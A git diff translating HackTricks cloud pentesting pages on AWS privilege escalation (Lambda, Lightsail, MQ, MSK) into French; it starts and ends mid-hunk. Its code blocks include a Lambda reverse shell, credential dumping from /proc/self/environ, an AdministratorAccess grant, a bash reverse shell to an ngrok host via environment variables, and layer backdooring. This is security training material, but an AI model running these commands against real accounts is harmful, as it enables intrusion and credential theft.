+os.dup2(s.fileno(),2)
+p=subprocess.call(['/bin/sh','-i'])
+time.sleep(900)
+return 0
 ```
 
 ```bash
@@ -37,8 +36,8 @@ zip "rev.zip" "rev.py"
 
 # Create the function
 aws lambda create-function --function-name my_function \
-    --runtime python3.9 --role <arn_of_lambda_role> \
-    --handler rev.lambda_handler --zip-file fileb://rev.zip
+--runtime python3.9 --role <arn_of_lambda_role> \
+--handler rev.lambda_handler --zip-file fileb://rev.zip
 
 # Invoke the function
 aws lambda invoke --function-name my_function output.txt
@@ -47,99 +46,83 @@ aws lambda invoke --function-name my_function output.txt
 # List roles
 aws iam list-attached-user-policies --user-name <user-name>
 ```
-
-You could also **abuse the lambda role permissions** from the lambda function itself.\
-If the lambda role had enough permissions you could use it to grant admin rights to you:
-
+Vous pourriez également **abuser des autorisations du rôle lambda** depuis la fonction lambda elle-même.\
+Si le rôle lambda avait suffisamment d'autorisations, vous pourriez l'utiliser pour vous accorder des droits d'administrateur :
 ```python
 import boto3
 def lambda_handler(event, context):
-    client = boto3.client('iam')
-    response = client.attach_user_policy(
-        UserName='my_username',
-        PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
-    )
-    return response
+client = boto3.client('iam')
+response = client.attach_user_policy(
+UserName='my_username',
+PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
+)
+return response
 ```
-
-It is also possible to leak the lambda's role credentials without needing an external connection. This would be useful for **Network isolated Lambdas** used on internal tasks. If there are unknown security groups filtering your reverse shells, this piece of code will allow you to directly leak the credentials as the output of the lambda.
-
+Il est également possible de leak les identifiants de rôle de la lambda sans avoir besoin d'une connexion externe. Cela serait utile pour **Network isolated Lambdas** utilisées pour des tâches internes. S'il y a des groupes de sécurité inconnus filtrant vos reverse shells, ce morceau de code vous permettra de leak directement les identifiants en tant que sortie de la lambda.
 ```python
 def handler(event, context):
-    sessiontoken = open('/proc/self/environ', "r").read()
-    return {
-        'statusCode': 200,
-        'session': str(sessiontoken)
-    }
+sessiontoken = open('/proc/self/environ', "r").read()
+return {
+'statusCode': 200,
+'session': str(sessiontoken)
+}
 ```
 
 ```bash
 aws lambda invoke --function-name <lambda_name> output.txt
 cat output.txt
 ```
-
-**Potential Impact:** Direct privesc to the arbitrary lambda service role specified.
+**Impact potentiel :** Privesc direct vers le rôle de service lambda arbitraire spécifié.
 
 > [!CAUTION]
-> Note that even if it might looks interesting **`lambda:InvokeAsync`** **doesn't** allow on it's own to **execute `aws lambda invoke-async`**, you also need `lambda:InvokeFunction`
+> Notez que même si cela peut sembler intéressant, **`lambda:InvokeAsync`** **ne** permet pas à lui seul d'**exécuter `aws lambda invoke-async`**, vous avez également besoin de `lambda:InvokeFunction`
 
 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
 
-Like in the previous scenario, you can **grant yourself the `lambda:InvokeFunction`** permission if you have the permission **`lambda:AddPermission`**
-
+Comme dans le scénario précédent, vous pouvez **vous accorder la permission `lambda:InvokeFunction`** si vous avez la permission **`lambda:AddPermission`**
 ```bash
 # Check the previous exploit and use the following line to grant you the invoke permissions
 aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
-   --action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
+--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
 ```
-
-**Potential Impact:** Direct privesc to the arbitrary lambda service role specified.
+**Impact potentiel :** Privesc direct au rôle de service lambda arbitraire spécifié.
 
 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
 
-Users with **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** permissions (and potentially `dynamodb:PutItem` and `dynamodb:CreateTable`) can indirectly **escalate privileges** even without `lambda:InvokeFunction`.\
-They can create a **Lambda function with malicious code and assign it an existing IAM role**.
-
-Instead of directly invoking the Lambda, the user sets up or utilizes an existing DynamoDB table, linking it to the Lambda through an event source mapping. This setup ensures the Lambda function is **triggered automatically upon a new item** entry in the table, either by the user's action or another process, thereby indirectly invoking the Lambda function and executing the code with the permissions of the passed IAM role.
+Les utilisateurs avec les permissions **`iam:PassRole`, `lambda:CreateFunction`, et `lambda:CreateEventSourceMapping`** (et potentiellement `dynamodb:PutItem` et `dynamodb:CreateTable`) peuvent indirectement **escalader les privilèges** même sans `lambda:InvokeFunction`.\
+Ils peuvent créer une **fonction Lambda avec du code malveillant et lui attribuer un rôle IAM existant**.
 
+Au lieu d'invoquer directement la Lambda, l'utilisateur configure ou utilise une table DynamoDB existante, la liant à la Lambda via un mappage de source d'événement. Cette configuration garantit que la fonction Lambda est **déclenchée automatiquement lors de l'entrée d'un nouvel élément** dans la table, soit par l'action de l'utilisateur, soit par un autre processus, invoquant ainsi indirectement la fonction Lambda et exécutant le code avec les permissions du rôle IAM passé.
 ```bash
 aws lambda create-function --function-name my_function \
-    --runtime python3.8 --role <arn_of_lambda_role> \
-    --handler lambda_function.lambda_handler \
-    --zip-file fileb://rev.zip
+--runtime python3.8 --role <arn_of_lambda_role> \
+--handler lambda_function.lambda_handler \
+--zip-file fileb://rev.zip
 ```
-
-If DynamoDB is already active in the AWS environment, the user only **needs to establish the event source mapping** for the Lambda function. However, if DynamoDB isn't in use, the user must **create a new table** with streaming enabled:
-
+Si DynamoDB est déjà actif dans l'environnement AWS, l'utilisateur **doit seulement établir le mappage de la source d'événements** pour la fonction Lambda. Cependant, si DynamoDB n'est pas utilisé, l'utilisateur doit **créer une nouvelle table** avec le streaming activé :
 ```bash
 aws dynamodb create-table --table-name my_table \
-    --attribute-definitions AttributeName=Test,AttributeType=S \
-    --key-schema AttributeName=Test,KeyType=HASH \
-    --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
-    --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
+--attribute-definitions AttributeName=Test,AttributeType=S \
+--key-schema AttributeName=Test,KeyType=HASH \
+--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
+--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
 ```
-
-Now it's posible **connect the Lambda function to the DynamoDB table** by **creating an event source mapping**:
-
+Maintenant, il est possible de **connecter la fonction Lambda à la table DynamoDB** en **créant un mappage de source d'événements** :
 ```bash
 aws lambda create-event-source-mapping --function-name my_function \
-    --event-source-arn <arn_of_dynamodb_table_stream> \
-    --enabled --starting-position LATEST
+--event-source-arn <arn_of_dynamodb_table_stream> \
+--enabled --starting-position LATEST
 ```
-
-With the Lambda function linked to the DynamoDB stream, the attacker can **indirectly trigger the Lambda by activating the DynamoDB stream**. This can be accomplished by **inserting an item** into the DynamoDB table:
-
+Avec la fonction Lambda liée au flux DynamoDB, l'attaquant peut **déclencher indirectement la Lambda en activant le flux DynamoDB**. Cela peut être accompli en **insérant un élément** dans la table DynamoDB :
 ```bash
 aws dynamodb put-item --table-name my_table \
-    --item Test={S="Random string"}
+--item Test={S="Random string"}
 ```
-
-**Potential Impact:** Direct privesc to the lambda service role specified.
+**Impact potentiel :** Privesc direct au rôle de service lambda spécifié.
 
 ### `lambda:AddPermission`
 
-An attacker with this permission can **grant himself (or others) any permissions** (this generates resource based policies to grant access to the resource):
-
+Un attaquant avec cette permission peut **s'accorder (ou accorder à d'autres) toutes les permissions** (cela génère des politiques basées sur les ressources pour accorder l'accès à la ressource) :
 ```bash
 # Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
 aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
@@ -147,51 +130,44 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
 # Invoke the function
 aws lambda invoke --function-name <func_name> /tmp/outout
 ```
-
-**Potential Impact:** Direct privesc to the lambda service role used by granting permission to modify the code and run it.
+**Impact potentiel :** Privesc direct au rôle de service lambda utilisé en accordant la permission de modifier le code et de l'exécuter.
 
 ### `lambda:AddLayerVersionPermission`
 
-An attacker with this permission can **grant himself (or others) the permission `lambda:GetLayerVersion`**. He could access the layer and search for vulnerabilities or sensitive information
-
+Un attaquant avec cette permission peut **s'accorder (ou accorder à d'autres) la permission `lambda:GetLayerVersion`**. Il pourrait accéder à la couche et rechercher des vulnérabilités ou des informations sensibles.
 ```bash
 # Give everyone the permission lambda:GetLayerVersion
 aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
 ```
-
-**Potential Impact:** Potential access to sensitive information.
+**Impact potentiel :** Accès potentiel à des informations sensibles.
 
 ### `lambda:UpdateFunctionCode`
 
-Users holding the **`lambda:UpdateFunctionCode`** permission has the potential to **modify the code of an existing Lambda function that is linked to an IAM role.**\
-The attacker can **modify the code of the lambda to exfiltrate the IAM credentials**.
-
-Although the attacker might not have the direct ability to invoke the function, if the Lambda function is pre-existing and operational, it's probable that it will be triggered through existing workflows or events, thus indirectly facilitating the execution of the modified code.
+Les utilisateurs détenant la permission **`lambda:UpdateFunctionCode`** ont le potentiel de **modifier le code d'une fonction Lambda existante qui est liée à un rôle IAM.**\
+L'attaquant peut **modifier le code de la lambda pour exfiltrer les identifiants IAM**.
 
+Bien que l'attaquant n'ait peut-être pas la capacité directe d'invoquer la fonction, si la fonction Lambda est préexistante et opérationnelle, il est probable qu'elle soit déclenchée par des workflows ou des événements existants, facilitant ainsi indirectement l'exécution du code modifié.
 ```bash
 # The zip should contain the lambda code (trick: Download the current one and add your code there)
 aws lambda update-function-code --function-name target_function \
-    --zip-file fileb:///my/lambda/code/zipped.zip
+--zip-file fileb:///my/lambda/code/zipped.zip
 
 # If you have invoke permissions:
 aws lambda invoke --function-name my_function output.txt
 
 # If not check if it's exposed in any URL or via an API gateway you could access
 ```
-
-**Potential Impact:** Direct privesc to the lambda service role used.
+**Impact potentiel :** Privesc direct au rôle de service lambda utilisé.
 
 ### `lambda:UpdateFunctionConfiguration`
 
-#### RCE via env variables
-
-With this permissions it's possible to add environment variables that will cause the Lambda to execute arbitrary code. For example in python it's possible to abuse the environment variables `PYTHONWARNING` and `BROWSER` to make a python process execute arbitrary commands:
+#### RCE via variables d'environnement
 
+Avec ces permissions, il est possible d'ajouter des variables d'environnement qui feront exécuter du code arbitraire par la Lambda. Par exemple, en python, il est possible d'abuser des variables d'environnement `PYTHONWARNING` et `BROWSER` pour faire exécuter des commandes arbitraires par un processus python :
 ```bash
 aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
 ```
-
-For other scripting languages there are other env variables you can use. For more info check the subsections of scripting languages in:
+Pour d'autres langages de script, il existe d'autres variables d'environnement que vous pouvez utiliser. Pour plus d'informations, consultez les sous-sections des langages de script dans :
 
 {{#ref}}
 https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse
@@ -199,19 +175,17 @@ https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalat
 
 #### RCE via Lambda Layers
 
-[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) allows to include **code** in your lamdba function but **storing it separately**, so the function code can stay small and **several functions can share code**.
-
-Inside lambda you can check the paths from where python code is loaded with a function like the following:
+[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) permet d'inclure **du code** dans votre fonction lambda mais **de l'enregistrer séparément**, de sorte que le code de la fonction puisse rester petit et que **plusieurs fonctions puissent partager du code**.
 
+À l'intérieur de lambda, vous pouvez vérifier les chemins à partir desquels le code python est chargé avec une fonction comme suit :
 ```python
 import json
 import sys
 
 def lambda_handler(event, context):
-    print(json.dumps(sys.path, indent=2))
+print(json.dumps(sys.path, indent=2))
 ```
-
-These are the places:
+Voici les endroits :
 
 1. /var/task
 2. /opt/python/lib/python3.7/site-packages
@@ -224,73 +198,61 @@ These are the places:
 9. /opt/python/lib/python3.7/site-packages
 10. /opt/python
 
-For example, the library boto3 is loaded from `/var/runtime/boto3` (4th position).
+Par exemple, la bibliothèque boto3 est chargée depuis `/var/runtime/boto3` (4ème position).
 
 #### Exploitation
 
-It's possible to abuse the permission `lambda:UpdateFunctionConfiguration` to **add a new layer** to a lambda function. To execute arbitrary code this layer need to contain some **library that the lambda is going to import.** If you can read the code of the lambda, you could find this easily, also note that it might be possible that the lambda is **already using a layer** and you could **download** the layer and **add your code** in there.
-
-For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library:
+Il est possible d'abuser de la permission `lambda:UpdateFunctionConfiguration` pour **ajouter une nouvelle couche** à une fonction lambda. Pour exécuter du code arbitraire, cette couche doit contenir une **bibliothèque que la lambda va importer.** Si vous pouvez lire le code de la lambda, vous pourriez le trouver facilement, notez également qu'il pourrait être possible que la lambda **utilise déjà une couche** et que vous puissiez **télécharger** la couche et **ajouter votre code** à l'intérieur.
 
+Par exemple, supposons que la lambda utilise la bibliothèque boto3, cela créera une couche locale avec la dernière version de la bibliothèque :
 ```bash
 pip3 install -t ./lambda_layer boto3
 ```
+Vous pouvez ouvrir `./lambda_layer/boto3/__init__.py` et **ajouter la porte dérobée dans le code global** (une fonction pour exfiltrer des identifiants ou obtenir un shell inversé par exemple).
 
-You can open `./lambda_layer/boto3/__init__.py` and **add the backdoor in the global code** (a function to exfiltrate credentials or get a reverse shell for example).
-
-Then, zip that `./lambda_layer` directory and **upload the new lambda layer** in your own account (or in the victims one, but you might not have permissions for this).\
-Note that you need to create a python folder and put the libraries in there to override /opt/python/boto3. Also, the layer needs to be **compatible with the python version** used by the lambda and if you upload it to your account, it needs to be in the **same region:**
-
+Ensuite, zippez ce répertoire `./lambda_layer` et **téléchargez la nouvelle couche lambda** dans votre propre compte (ou dans celui des victimes, mais vous n'aurez peut-être pas les autorisations pour cela).\
+Notez que vous devez créer un dossier python et y mettre les bibliothèques pour remplacer /opt/python/boto3. De plus, la couche doit être **compatible avec la version python** utilisée par la lambda et si vous la téléchargez dans votre compte, elle doit être dans la **même région :**
 ```bash
 aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
 ```
-
-Now, make the uploaded lambda layer **accessible by any account**:
-
+Maintenant, rendez la couche lambda téléchargée **accessible par n'importe quel compte** :
 ```bash
 aws lambda add-layer-version-permission --layer-name boto3 \
-    --version-number 1 --statement-id public \
-    --action lambda:GetLayerVersion --principal *
+--version-number 1 --statement-id public \
+--action lambda:GetLayerVersion --principal *
 ```
-
-And attach the lambda layer to the victim lambda function:
-
+Et attachez la couche lambda à la fonction lambda de la victime :
 ```bash
 aws lambda update-function-configuration \
-    --function-name <func-name> \
-    --layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
-    --timeout 300 #5min for rev shells
+--function-name <func-name> \
+--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
+--timeout 300 #5min for rev shells
 ```
+La prochaine étape serait soit de **invoquer la fonction** nous-mêmes si nous le pouvons, soit d'attendre qu'elle **soit invoquée** par des moyens normaux – ce qui est la méthode la plus sûre.
 
-The next step would be to either **invoke the function** ourselves if we can or to wait until i**t gets invoked** by normal means–which is the safer method.
-
-A **more stealth way to exploit this vulnerability** can be found in:
+Une **manière plus discrète d'exploiter cette vulnérabilité** peut être trouvée dans :
 
 {{#ref}}
 ../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
 {{#endref}}
 
-**Potential Impact:** Direct privesc to the lambda service role used.
+**Impact potentiel :** Privesc direct au rôle de service lambda utilisé.
 
 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
 
-Maybe with those permissions you are able to create a function and execute it calling the URL... but I could find a way to test it, so let me know if you do!
+Peut-être qu'avec ces permissions, vous êtes capable de créer une fonction et de l'exécuter en appelant l'URL... mais je n'ai pas trouvé de moyen de le tester, donc faites-le moi savoir si vous le faites !
 
 ### Lambda MitM
 
-Some lambdas are going to be **receiving sensitive info from the users in parameters.** If get RCE in one of them, you can exfiltrate the info other users are sending to it, check it in:
+Certaines lambdas vont **recevoir des informations sensibles des utilisateurs dans les paramètres.** Si vous obtenez RCE dans l'une d'elles, vous pouvez exfiltrer les informations que d'autres utilisateurs lui envoient, vérifiez-le dans :
 
 {{#ref}}
 ../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
 {{#endref}}
 
-## References
+## Références
 
 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
index 1bf78eb3c..356426ade 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md
@@ -4,112 +4,93 @@
 
 ## Lightsail
 
-For more information about Lightsail check:
+Pour plus d'informations sur Lightsail, consultez :
 
 {{#ref}}
 ../aws-services/aws-lightsail-enum.md
 {{#endref}}
 
 > [!WARNING]
-> It’s important to note that Lightsail **doesn’t use IAM roles belonging to the user** but to an AWS managed account, so you can’t abuse this service to privesc. However, **sensitive data** such as code, API keys and database info could be found in this service.
+> Il est important de noter que Lightsail **n'utilise pas les rôles IAM appartenant à l'utilisateur** mais à un compte géré par AWS, donc vous ne pouvez pas abuser de ce service pour privesc. Cependant, **des données sensibles** telles que le code, les clés API et les informations de base de données pourraient être trouvées dans ce service.
 
 ### `lightsail:DownloadDefaultKeyPair`
 
-This permission will allow you to get the SSH keys to access the instances:
-
+Cette permission vous permettra d'obtenir les clés SSH pour accéder aux instances :
 ```
 aws lightsail download-default-key-pair
 ```
-
-**Potential Impact:** Find sensitive info inside the instances.
+**Impact potentiel :** Trouver des informations sensibles à l'intérieur des instances.
 
 ### `lightsail:GetInstanceAccessDetails`
 
-This permission will allow you to generate SSH keys to access the instances:
-
+Cette autorisation vous permettra de générer des clés SSH pour accéder aux instances :
 ```bash
 aws lightsail get-instance-access-details --instance-name <instance_name>
 ```
-
-**Potential Impact:** Find sensitive info inside the instances.
+**Impact potentiel :** Trouver des informations sensibles à l'intérieur des instances.
 
 ### `lightsail:CreateBucketAccessKey`
 
-This permission will allow you to get a key to access the bucket:
-
+Cette permission vous permettra d'obtenir une clé pour accéder au bucket :
 ```bash
 aws lightsail create-bucket-access-key --bucket-name <name>
 ```
-
-**Potential Impact:** Find sensitive info inside the bucket.
+**Impact potentiel :** Trouver des informations sensibles à l'intérieur du bucket.
 
 ### `lightsail:GetRelationalDatabaseMasterUserPassword`
 
-This permission will allow you to get the credentials to access the database:
-
+Cette autorisation vous permettra d'obtenir les identifiants pour accéder à la base de données :
 ```bash
 aws lightsail get-relational-database-master-user-password --relational-database-name <name>
 ```
-
-**Potential Impact:** Find sensitive info inside the database.
+**Impact potentiel :** Trouver des informations sensibles dans la base de données.
 
 ### `lightsail:UpdateRelationalDatabase`
 
-This permission will allow you to change the password to access the database:
-
+Cette autorisation vous permettra de changer le mot de passe pour accéder à la base de données :
 ```bash
 aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>
 ```
-
-If the database isn't public, you could also make it public with this permissions with
-
+Si la base de données n'est pas publique, vous pourriez également la rendre publique avec ces autorisations avec
 ```bash
 aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible
 ```
-
-**Potential Impact:** Find sensitive info inside the database.
+**Impact potentiel :** Trouver des informations sensibles dans la base de données.
 
 ### `lightsail:OpenInstancePublicPorts`
 
-This permission allow to open ports to the Internet
-
+Cette permission permet d'ouvrir des ports vers Internet.
 ```bash
 aws lightsail open-instance-public-ports \
-    --instance-name MEAN-2 \
-    --port-info fromPort=22,protocol=TCP,toPort=22
+--instance-name MEAN-2 \
+--port-info fromPort=22,protocol=TCP,toPort=22
 ```
-
-**Potential Impact:** Access sensitive ports.
+**Impact potentiel :** Accéder à des ports sensibles.
 
 ### `lightsail:PutInstancePublicPorts`
 
-This permission allow to open ports to the Internet. Note taht the call will close any port opened not specified on it.
-
+Cette autorisation permet d'ouvrir des ports vers Internet. Notez que l'appel fermera tout port ouvert qui n'est pas spécifié.
 ```bash
 aws lightsail put-instance-public-ports \
-    --instance-name MEAN-2 \
-    --port-infos fromPort=22,protocol=TCP,toPort=22
+--instance-name MEAN-2 \
+--port-infos fromPort=22,protocol=TCP,toPort=22
 ```
-
-**Potential Impact:** Access sensitive ports.
+**Impact potentiel :** Accéder à des ports sensibles.
 
 ### `lightsail:SetResourceAccessForBucket`
 
-This permissions allows to give an instances access to a bucket without any extra credentials
-
+Cette permission permet de donner à une instance l'accès à un bucket sans aucune autre information d'identification.
 ```bash
 aws set-resource-access-for-bucket \
-    --resource-name <instance-name> \
-    --bucket-name <bucket-name> \
-    --access allow
+--resource-name <instance-name> \
+--bucket-name <bucket-name> \
+--access allow
 ```
-
-**Potential Impact:** Potential new access to buckets with sensitive information.
+**Impact potentiel :** Accès potentiel à de nouveaux buckets contenant des informations sensibles.
 
 ### `lightsail:UpdateBucket`
 
-With this permission an attacker could grant his own AWS account read access over buckets or even make the buckets public to everyone:
-
+Avec cette autorisation, un attaquant pourrait accorder à son propre compte AWS un accès en lecture sur des buckets ou même rendre les buckets publics pour tout le monde :
 ```bash
 # Grant read access to exterenal account
 aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>
@@ -120,47 +101,36 @@ aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPub
 # Bucket private but single objects can be public
 aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true
 ```
-
-**Potential Impact:** Potential new access to buckets with sensitive information.
+**Impact potentiel :** Accès potentiel à de nouveaux buckets contenant des informations sensibles.
 
 ### `lightsail:UpdateContainerService`
 
-With this permissions an attacker could grant access to private ECRs from the containers service
-
+Avec ces permissions, un attaquant pourrait accorder l'accès à des ECR privés depuis le service de conteneurs.
 ```bash
 aws update-container-service \
-    --service-name <name> \
-    --private-registry-access ecrImagePullerRole={isActive=boolean}
+--service-name <name> \
+--private-registry-access ecrImagePullerRole={isActive=boolean}
 ```
-
-**Potential Impact:** Get sensitive information from private ECR
+**Impact potentiel :** Obtenir des informations sensibles à partir d'ECR privé
 
 ### `lightsail:CreateDomainEntry`
 
-An attacker with this permission could create subdomain and point it to his own IP address (subdomain takeover), or craft a SPF record that allows him so spoof emails from the domain, or even set the main domain his own IP address.
-
+Un attaquant disposant de cette autorisation pourrait créer un sous-domaine et le pointer vers sa propre adresse IP (prise de contrôle de sous-domaine), ou créer un enregistrement SPF qui lui permet de falsifier des e-mails depuis le domaine, ou même définir le domaine principal sur sa propre adresse IP.
 ```bash
 aws lightsail create-domain-entry \
-    --domain-name example.com \
-    --domain-entry name=dev.example.com,type=A,target=192.0.2.0
+--domain-name example.com \
+--domain-entry name=dev.example.com,type=A,target=192.0.2.0
 ```
-
-**Potential Impact:** Takeover a domain
+**Impact potentiel :** Prise de contrôle d'un domaine
 
 ### `lightsail:UpdateDomainEntry`
 
-An attacker with this permission could create subdomain and point it to his own IP address (subdomain takeover), or craft a SPF record that allows him so spoof emails from the domain, or even set the main domain his own IP address.
-
+Un attaquant disposant de cette autorisation pourrait créer un sous-domaine et le pointer vers sa propre adresse IP (prise de contrôle de sous-domaine), ou créer un enregistrement SPF qui lui permet de falsifier des e-mails depuis le domaine, ou même définir le domaine principal sur sa propre adresse IP.
 ```bash
 aws lightsail update-domain-entry \
-    --domain-name example.com \
-    --domain-entry name=dev.example.com,type=A,target=192.0.2.0
+--domain-name example.com \
+--domain-entry name=dev.example.com,type=A,target=192.0.2.0
 ```
-
-**Potential Impact:** Takeover a domain
+**Impact potentiel :** Prendre le contrôle d'un domaine
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md
index a1004bde6..427f305e6 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md
@@ -4,26 +4,18 @@
 
 ### `mediapackage:RotateChannelCredentials`
 
-Changes the Channel's first IngestEndpoint's username and password. (This API is deprecated for RotateIngestEndpointCredentials)
-
+Change le nom d'utilisateur et le mot de passe du premier IngestEndpoint du canal. (Cette API est obsolète pour RotateIngestEndpointCredentials)
 ```bash
 aws mediapackage rotate-channel-credentials --id <value>
 ```
-
 ### `mediapackage:RotateIngestEndpointCredentials`
 
-Changes the Channel's first IngestEndpoint's username and password. (This API is deprecated for RotateIngestEndpointCredentials)
-
+Change le nom d'utilisateur et le mot de passe du premier IngestEndpoint du Channel. (Cette API est obsolète pour RotateIngestEndpointCredentials)
 ```bash
 aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-id 584797f1740548c389a273585dd22a63
 ```
-
-## References
+## Références
 
 - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
index 80890e389..1b7e67776 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md
@@ -4,7 +4,7 @@
 
 ## MQ
 
-For more information about MQ check:
+Pour plus d'informations sur MQ, consultez :
 
 {{#ref}}
 ../aws-services/aws-mq-enum.md
@@ -12,42 +12,32 @@ For more information about MQ check:
 
 ### `mq:ListBrokers`, `mq:CreateUser`
 
-With those permissions you can **create a new user in an ActimeMQ broker** (this doesn't work in RabbitMQ):
-
+Avec ces permissions, vous pouvez **créer un nouvel utilisateur dans un broker ActimeMQ** (cela ne fonctionne pas dans RabbitMQ) :
 ```bash
 aws mq list-brokers
 aws mq create-user --broker-id <value> --console-access --password <value> --username <value>
 ```
-
-**Potential Impact:** Access sensitive info navigating through ActiveMQ
+**Impact potentiel :** Accéder à des informations sensibles en naviguant dans ActiveMQ
 
 ### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser`
 
-With those permissions you can **create a new user in an ActimeMQ broker** (this doesn't work in RabbitMQ):
-
+Avec ces autorisations, vous pouvez **créer un nouvel utilisateur dans un broker ActiveMQ** (cela ne fonctionne pas dans RabbitMQ) :
 ```bash
 aws mq list-brokers
 aws mq list-users --broker-id <value>
 aws mq update-user --broker-id <value> --console-access --password <value> --username <value>
 ```
-
-**Potential Impact:** Access sensitive info navigating through ActiveMQ
+**Impact potentiel :** Accéder à des informations sensibles en naviguant à travers ActiveMQ
 
 ### `mq:ListBrokers`, `mq:UpdateBroker`
 
-If a broker is using **LDAP** for authorization with **ActiveMQ**. It's possible to **change** the **configuration** of the LDAP server used to **one controlled by the attacker**. This way the attacker will be able to **steal all the credentials being sent through LDAP**.
-
+Si un courtier utilise **LDAP** pour l'autorisation avec **ActiveMQ**. Il est possible de **changer** la **configuration** du serveur LDAP utilisé pour **un contrôlé par l'attaquant**. De cette manière, l'attaquant pourra **voler tous les identifiants envoyés via LDAP**.
 ```bash
 aws mq list-brokers
 aws mq update-broker --broker-id <value> --ldap-server-metadata=...
 ```
+Si vous pouviez d'une manière ou d'une autre trouver les identifiants originaux utilisés par ActiveMQ, vous pourriez effectuer un MitM, voler les identifiants, les utiliser sur le serveur d'origine et envoyer la réponse (peut-être qu'en réutilisant simplement les identifiants volés, vous pourriez faire cela).
 
-If you could somehow find the original credentials used by ActiveMQ you could perform a MitM, steal the creds, used them in the original server, and send the response (maybe just reusing the crendetials stolen you could do this).
-
-**Potential Impact:** Steal ActiveMQ credentials
+**Impact potentiel :** Voler les identifiants ActiveMQ
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
index f0538785f..cc4268f48 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md
@@ -4,7 +4,7 @@
 
 ## MSK
 
-For more information about MSK (Kafka) check:
+Pour plus d'informations sur MSK (Kafka), consultez :
 
 {{#ref}}
 ../aws-services/aws-msk-enum.md
@@ -12,17 +12,11 @@ For more information about MSK (Kafka) check:
 
 ### `msk:ListClusters`, `msk:UpdateSecurity`
 
-With these **privileges** and **access to the VPC where the kafka brokers are**, you could add the **None authentication** to access them.
-
+Avec ces **privilèges** et **l'accès au VPC où se trouvent les brokers kafka**, vous pourriez ajouter l'**authentification None** pour y accéder.
 ```bash
